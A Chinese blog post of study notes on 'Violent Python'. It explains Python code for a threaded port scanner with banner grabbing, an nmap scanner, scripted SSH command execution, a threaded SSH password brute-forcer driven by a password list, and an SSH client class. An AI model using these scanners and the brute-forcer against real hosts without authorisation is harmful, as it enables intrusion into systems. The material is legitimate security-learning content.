《Python绝技》编程实战二

scanPort

  • 实现自动化扫描并测试目标主机的开放端口以及端口应用
  • 细节类似上一章中的getBanner

开源代码

0x03 scanPort

portScanner

  • 简单地实现扫描目标主机多个端口的效果。

main

parser = optparse.OptionParser('usage:%prog -H <targer Host> -P <port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-P', dest='tgtPorts', type='string', help='specify target ports')
(options, args) = parser.parse_args()
if (options.tgtHost == None) or (options.tgtPorts == None):
    print(parser.usage)
    exit(0)
tgtHost = options.tgtHost
tgtPorts = options.tgtPorts.split(',')
portScan(tgtHost, tgtPorts)
  • main()完成对目标主机的绑定。

portScan

try:
    tgtIP = gethostbyname(tgtHost)
except:
    print('[-] Cannot resolve \'%s\' : Unknown host' %tgtHost)
    return
try:
    tgtName = gethostbyaddr(tgtIP)
    print('\n[+] Scan results for : ' + tgtName[0])
except:
    print('\n[+] Scan results for : ' + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
    thrd = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
    thrd.start()
  • 若输入的目标主机为域名,则对其进行域名解析,得到目的主机IP地址。明确目标主机后,对指定的端口组分配线程进行处理。

  • gethostbyaddr()C语言的一个方法名,意思是返回对应于给定地址的主机信息。

  • gethostbyname()返回对应于给定主机名的包含主机名字和地址信息的hostent结构的指针。结构的声明与gethostbyaddr()中一致。

connScan

try:
    connsock = socket(AF_INET, SOCK_STREAM)
    connsock.connect((tgtHost, tgtPort))
    connsock.send('Port Opening Test\r\n'.encode())
    res = connsock.recv(1024)
    screenLock.acquire()
    print('[+] %d/tcp opened'%tgtPort)
    showBanner(res)
except:
    screenLock.acquire()
    print('[-] %d/tcp closed'%tgtPort)
finally:
    screenLock.release()
    connsock.close()
  • connScan()为线程调用的函数,负责一个端口的检查。
  • screenLock.acquire()为互斥信号量的加锁步骤。screenLock.release()为互斥信号量的释放步骤。这两个函数的目的是使得并行的线程对screenLock()进行互斥访问,保证屏幕打印有序。

showBanner

encoding = chardet.detect(res)['encoding']
if encoding:
    print('[+] '+str(res, encoding=encoding))
else:
    print('[+] '+str(res, encoding='utf-8'))
return
  • 用于对返回的二进制串进行处理且得到输出。

  • ret = chardet.detect(变量)可以查看原有变量的编码类型。

nmapScanner

  • 借助NmapPython库对目标主机的端口组进行扫描,大体同portScanner

nmapScan

scanner = nmap.PortScanner()
scanner.scan(tgtHost, tgtPort)
state = scanner[tgtHost]['tcp'][int(tgtPort)]['state']
print('[*] '+tgtHost+' tcp/'+tgtPort+' '+state)
  • 调用nmap库得到端口扫描的类,使用类中用于扫描的方法即可对目的主机的单一端口进行扫描。

sshCrack

  • 实现自动化连接ssh并且执行命令。

有点鸡肋,因为没有密码也过不了,没有攻击性。

开源代码

0x04 sshCrack

pexpect

  • 预测输出结果,对不同结果采取不同的应对方式。

main

if len(sys.argv) == 5:
    host    =   sys.argv[1]
    user    =   sys.argv[2]
    passwd  =   sys.argv[3]
    command =   sys.argv[4]
    shell = connect(host, user, passwd)
    exec_command(shell, command)
else:
    print('Usage:%prog <target host> <user> <password> <command>')
  • 从命令行获取参数,执行connect()之后得到shell,在shell中即可执行指定命令。

connect

conn = 'ssh '+user+'@'+host
result = pexpect.spawn(conn)
ssh_newkey = 'Are you sure you want to  continue connecting'
ssh_passwd = '[P|p]assword:'
ret = result.expect([ssh_passwd, ssh_newkey, pexpect.TIMEOUT])

if ret == 1:
    result.sendline('yes')
    ret = result.expect([ssh_passwd, pexpect.TIMEOUT, ssh_newkey])
if ret == 2:
    print('[-] Error Connecting')
    return

result.sendline(passwd)
print('send passwd')
result.expect(PROMPT)
  • 该函数用于ssh连接并返回一个连接好的shell或者报错退出。
  • pexpect.spawn()派生一个程序,它返回这个程序的操作句柄,以后可以通过操作这个句柄来对这个程序进行操作。
  • spawn()启动了一个程序并返回程序控制句柄后,就可以用expect()方法来等待指定的关键字了。
  • expect()使用正则表达式匹配,对于ssh登录后的自动输出可能造成错误匹配。并且对所需匹配的字符要明确,不然无法构造PROMPT
  • send()用来向程序发送指定的字符串,此处使用sendline()可以自动在发送的字符串末尾加上回车

exec_command

shell.sendline(cmd)
shell.expect(PROMPT)
print(shell.before)
  • 该函数用于对指定命令的执行,打印输出的结果。
  • before变量用于存储上一次输出的最后100个字节(buffer大小),可能导致输出打印不全。

pxssh

  • pxssh包含了pexpect并将里面的函数封装好了,可以直接用于和SSH交互。

开源代码

main

parser = optparse.OptionParser('usage %prog '+\
    '-H <target host> -u <user> -F <password list>'
                            )
parser.add_option('-H', dest='tgtHost', type='string',\
    help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string',\
    help='specify password file')
parser.add_option('-u', dest='user', type='string',\
    help='specify the user')

(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user

if host == None or passwdFile == None or user == None:
    print(parser.usage)
    exit(0)
    
fn = open(passwdFile, 'r')
for line in fn.readlines():
    if Found:
        print ("[*] Exiting: Password Found")
        exit(0)
    if Fails > 5:
        print ("[!] Exiting: Too Many Socket Timeouts")
        exit(0)
    connection_lock.acquire()
    password = line.strip('\r').strip('\n')
    print ("[-] Testing: "+str(password))
    t = Thread(target=connect, args=(host, user, password, True))
    t.start()
  • 获得指定参数的值,确定目的主机的IP和用户以及破解用的本地密码集。
  • 使用枚举密码集的每一个密码,使用线程的方式处理。并使用信号量对同时访问的线程个数进行限制。

connect

global Found
global Fails

try:
    s = pxssh.pxssh()
    s.login(host, user, password)
    print ('[+] Password Found: ' + password)
    Found = True
except Exception as e:
    if 'read_nonblocking' in str(e):
        Fails += 1
        time.sleep(5)
        connect(host, user, password, False)
    elif 'synchronize with original prompt' in str(e):
        time.sleep(1)
        connect(host, user, password, False)
finally:
    if release:
        connection_lock.release()
  • 尝试指定密码连接目的主机。
  • 若因连接过快失败(read_nonblocking)五次直接报错退出;若因命令提示符提取困难(synchronize with original prompt)则等待重连。
  • pxssh.pxssh()返回一个类型,使用该类型进行登录。
  • login()中封装好了pexpect的方法,可以直接调用连接目的主机。

sshNet

  • 使用类的方式对pxssh实现控制终端的过程进行了封装。

Client

class Client:

    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print ('[-] Error Connecting')
            print (e)

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

参考

gethostbyaddr

gethostbyname

bytes类型转str

Pexpect 模块使用说明

posted @ 2021-07-22 10:58  CH3UHX9  阅读(81)  评论(0编辑  收藏  举报